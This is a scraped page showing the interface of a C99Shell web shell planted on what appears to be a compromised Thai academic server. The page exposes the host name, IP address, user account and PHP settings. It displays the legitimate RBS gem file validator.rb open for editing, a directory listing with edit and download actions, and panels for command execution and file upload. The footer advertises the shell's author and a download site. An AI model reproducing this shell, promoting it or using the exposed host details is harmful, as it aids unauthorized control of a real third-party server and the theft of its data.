67vc33-b1a78eb8b39a7a2f.ithost.pongsawadi.ac.th

! C99Shell v2025 !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux ns1.ithost.pongsawadi.ac.th 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64 User: ithost67s46552gwdc Software: Apache IP: 161.82.130.184 PHP: 8.2.30 CURL:ON SSH2:ON Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:ON Oracle:OFF CGI:OFF /usr/lib/ruby/gems/3.2.0/gems/rbs-2.8.2/lib/rbs/

! C99Shell v2025 !

Safe-mode: OFF (not secure)

Disable Functions: None

Host: Linux ns1.ithost.pongsawadi.ac.th 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64

User: ithost67s46552gwdc

Software: Apache

IP: 161.82.130.184

PHP: 8.2.30

CURL:ON SSH2:ON Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:ON Oracle:OFF CGI:OFF

/usr/lib/ruby/gems/3.2.0/gems/rbs-2.8.2/lib/rbs/

Edit File: validator.rb

# frozen_string_literal: true

module RBS
  class Validator
    attr_reader :env
    attr_reader :resolver
    attr_reader :definition_builder

def initialize(env:, resolver:)
      @env = env
      @resolver = resolver
      @definition_builder = DefinitionBuilder.new(env: env)
    end

def absolute_type(type, context:)
      type.map_type_name do |type_name, _, type|
        resolver.resolve(type_name, context: context) || yield(type)
      end
    end

# Validates presence of the relative type, and application arity match.
    def validate_type(type, context:)
      case type
      when Types::ClassInstance, Types::Interface, Types::Alias
        # @type var type: Types::ClassInstance | Types::Interface | Types::Alias
        if type.name.namespace.relative?
          type = _ = absolute_type(type, context: context) do |_|
            NoTypeFoundError.check!(type.name.absolute!, env: env, location: type.location)
          end
        end

definition_builder.validate_type_name(type.name, type.location)

type_params = case type
                      when Types::ClassInstance
                        env.class_decls[type.name].type_params
                      when Types::Interface
                        env.interface_decls[type.name].decl.type_params
                      when Types::Alias
                        env.alias_decls[type.name].decl.type_params
                      end

InvalidTypeApplicationError.check!(
          type_name: type.name,
          args: type.args,
          params: type_params.each.map(&:name),
          location: type.location
        )

when Types::ClassSingleton
        definition_builder.validate_type_presence(type)
      end

type.each_type do |type|
        validate_type(type, context: context)
      end
    end

def validate_type_alias(entry:)
      type_name = entry.decl.name

if type_alias_dependency.circular_definition?(type_name)
        location = entry.decl.location or raise
        raise RecursiveTypeAliasError.new(alias_names: [type_name], location: location)
      end

if diagnostic = type_alias_regularity.nonregular?(type_name)
        location = entry.decl.location or raise
        raise NonregularTypeAliasError.new(diagnostic: diagnostic, location: location)
      end

unless entry.decl.type_params.empty?
        calculator = VarianceCalculator.new(builder: definition_builder)
        result = calculator.in_type_alias(name: type_name)
        if set = result.incompatible?(entry.decl.type_params)
          set.each do |param_name|
            param = entry.decl.type_params.find {|param| param.name == param_name } or raise
            next if param.unchecked?

raise InvalidVarianceAnnotationError.new(
              type_name: type_name,
              param: param,
              location: entry.decl.type.location
            )
          end
        end

validate_type_params(
          entry.decl.type_params,
          type_name: type_name,
          location: entry.decl.location&.aref(:type_params)
        )
      end

if block_given?
        yield entry.decl.type
      end
    end

def validate_method_definition(method_def, type_name:)
      method_def.types.each do |method_type|
        unless method_type.type_params.empty?
          loc = method_type.location&.aref(:type_params)

validate_type_params(
            method_type.type_params,
            type_name: type_name,
            method_name: method_def.name,
            location: loc
          )
        end
      end
    end

def validate_type_params(params, type_name: , method_name: nil, location:)
      # @type var each_node: TSort::_EachNode[Symbol]
      each_node = __skip__ = -> (&block) do
        params.each do |param|
          block[param.name]
        end
      end
      # @type var each_child: TSort::_EachChild[Symbol]
      each_child = __skip__ = -> (name, &block) do
        if param = params.find {|p| p.name == name }
          if b = param.upper_bound
            b.free_variables.each do |tv|
              block[tv]
            end
          end
        end
      end

TSort.each_strongly_connected_component(each_node, each_child) do |names|
        if names.size > 1
          params = names.map do |name|
            params.find {|param| param.name == name} or raise
          end

raise CyclicTypeParameterBound.new(
            type_name: type_name,
            method_name: method_name,
            params: params,
            location: location
          )
        end
      end
    end

def type_alias_dependency
      @type_alias_dependency ||= TypeAliasDependency.new(env: env)
    end

def type_alias_regularity
      @type_alias_regularity ||= TypeAliasRegularity.validate(env: env)
    end
  end
end

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
ancestor_graph.rb	2.5 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
annotate	DIR	03.09.2025 23:22:48	0/0	drwxr-xr-x	Edit Rename
annotate.rb	188 B	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
ast	DIR	03.09.2025 23:22:48	0/0	drwxr-xr-x	Edit Rename
buffer.rb	1.13 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
builtin_names.rb	1.62 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
cli.rb	31.1 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
collection	DIR	03.09.2025 23:22:48	0/0	drwxr-xr-x	Edit Rename
collection.rb	326 B	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
constant.rb	492 B	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
constant_table.rb	5.07 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
definition.rb	9.86 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
definition_builder	DIR	03.09.2025 23:22:48	0/0	drwxr-xr-x	Edit Rename
definition_builder.rb	34.72 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
environment.rb	15.49 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
environment_loader.rb	4.28 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
environment_walker.rb	4.23 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
errors.rb	12.14 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
factory.rb	353 B	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
location_aux.rb	2.76 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
locator.rb	5.69 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
method_type.rb	2.73 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
namespace.rb	2.2 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
parser_aux.rb	1.52 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
parser_compat	DIR	03.09.2025 23:22:48	0/0	drwxr-xr-x	Edit Rename
prototype	DIR	03.09.2025 23:22:48	0/0	drwxr-xr-x	Edit Rename
repository.rb	2.82 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
resolver	DIR	03.09.2025 23:22:48	0/0	drwxr-xr-x	Edit Rename
sorter.rb	4.03 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
substitution.rb	1.26 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
test	DIR	03.09.2025 23:22:48	0/0	drwxr-xr-x	Edit Rename
test.rb	2.6 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
type_alias_dependency.rb	2.85 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
type_alias_regularity.rb	3.2 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
type_name.rb	1.89 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
type_name_resolver.rb	1.58 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
types.rb	28.53 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
validator.rb	4.73 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
variance_calculator.rb	4.48 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
vendorer.rb	2.06 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
version.rb	66 B	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download
writer.rb	8.93 KB	18.01.2024 06:26:41	0/0	-rw-r--r--	Edit Rename Download

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ C99Shell v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: 1774328402.2195 ]--

Explain